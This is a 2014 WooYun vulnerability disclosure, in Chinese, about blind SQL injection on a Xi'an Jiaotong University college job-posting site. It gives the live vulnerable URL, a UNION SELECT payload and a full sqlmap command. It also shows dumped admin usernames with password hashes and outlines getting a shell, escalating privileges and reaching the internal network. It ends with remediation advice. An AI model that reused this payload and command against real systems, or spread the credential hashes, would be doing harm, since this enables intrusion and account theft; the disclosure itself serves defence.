当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077368

漏洞标题:西安交通大学某学院盲注【已GetShell、并获取服务器最高权限】

相关厂商:西安交通大学

漏洞作者: Xc0d3r

提交时间:2014-09-26 13:03

修复时间:2014-11-10 13:04

公开时间:2014-11-10 13:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-26: 细节已通知厂商并且等待厂商处理中
2014-09-26: 厂商已经确认,细节仅向厂商公开
2014-10-06: 细节向核心白帽子及相关领域专家公开
2014-10-16: 细节向普通白帽子公开
2014-10-26: 细节向实习白帽子公开
2014-11-10: 细节向公众公开

简要描述:

西安交通大学某学院盲注导致教师、学生信息泄露
通过注入点成功进入后台并GetShell
进而提权获取服务器最高权限
并成为内网攻击跳板

详细说明:

注入点:

http://ee.xjtu.edu.cn/eecjob/showjobfind.php?id=1


注入类型:

GET


注入参数:

id


Payload:

id=-1901 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a646571,0x686d514153427570754b,0x7165696c71)#


Exp:

root@hack[x:\sqlmap]# sqlmap.py -u "http://ee.xjtu.edu.cn/eecjob/showjobfind.php?id=1" --hex --level 2 --risk 2 --threads 6 -v 3 --is-dba


漏洞证明:

1、注入

注入证明1.jpg


注入证明2.jpg


+----------------------------------+----------------------------------------+
| username | password |
+----------------------------------+----------------------------------------+
| eecjob0 | 8c32f65bbcac6b1b70ead660b65d6f52 |
| eecjobadmin | e6d3609a045c8f58ec65b90adbafa407 |
| eecjob | 8befa996c5a2cba4d105e82c12f844e7 |
| zhouzhipeng | 2a7e636cd7c384234d4bcacabaa7b79e |


2、进入后台

进入后台.jpg


3、GetShell
通过注册含有恶意代码的用户信息配合后台数据库备份功能获取Shell

GetShell.jpg


5、提权

系统权限.jpg


6、内网信息

内网.jpg


未做进一步内网攻击测试。

修复方案:

1、对全站进行php木马查杀
2、根据注入点结合相关源码配合intval、addslashes等函数过滤注入参数
3、正确配置apache并限制相关函数和目录

版权声明:转载请注明来源 Xc0d3r@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-09-26 13:06

厂商回复:

已通知相关学校处理

最新状态:

暂无